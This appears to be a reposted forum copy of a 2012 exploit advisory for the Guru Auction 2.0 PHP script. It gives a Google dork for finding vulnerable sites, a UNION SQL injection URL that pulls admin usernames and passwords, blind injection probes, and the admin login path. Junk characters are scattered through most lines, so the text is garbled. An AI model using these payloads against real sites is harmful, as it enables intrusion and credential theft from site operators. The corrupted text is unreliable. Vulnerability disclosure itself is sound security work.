Guru Auction 2.0 Multiple SQL Injection Vulnerabilities$ f; d; G' ~7 N4 ^5 X8 \
4 J7 G7 _$ W; Z( p+ y% \6 N作者 : v3n0m
9 q2 [% D8 }+ B* A7 J: u( B* ?应用 : Guru Auction 2.0' ~2 ]& E! K- t! s- R# h% ]
Price : $49
. J9 W0 L% q5 g8 m% o4 |7 {Vendor : http://www.guruscript.com/
8 C) G/ P, O$ q }! IGoogle Dork : inurl:subcat.php?cate_id=
! `6 ?! v! ^2 G' j7 n
- y4 c+ v/ ?& R: hSQLi p0c:' b/ u: r" j& p, {- k% s0 ] P
~~~~~~~~~~ Y2 |$ ~( R* P
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--: s$ z5 ^ T% V- @. v
0 ^$ m- O* j' U# R! @ - M4 x9 [) D5 m: |' o$ X
盲注 p0c:
$ m& ^3 q0 M/ t4 y~~~~~~~~~~* ]6 w2 U: W) N$ W
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
; n' y7 @# W8 {) @http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false/ l _( z, [- b" c- y7 U7 @3 P
' y3 i6 U8 ^6 q* h$ q% A& G
管理登录入口: |) N. j8 w' k2 a
~~~~~~~~~~, D: B0 Q p9 ?7 p* C
http://domain.tld/[path]/admin// K$ n# q# ]9 [. l4 B/ D0 _9 r0 W
|
发表于 2012-12-31 09:24:05
收藏
支持
反对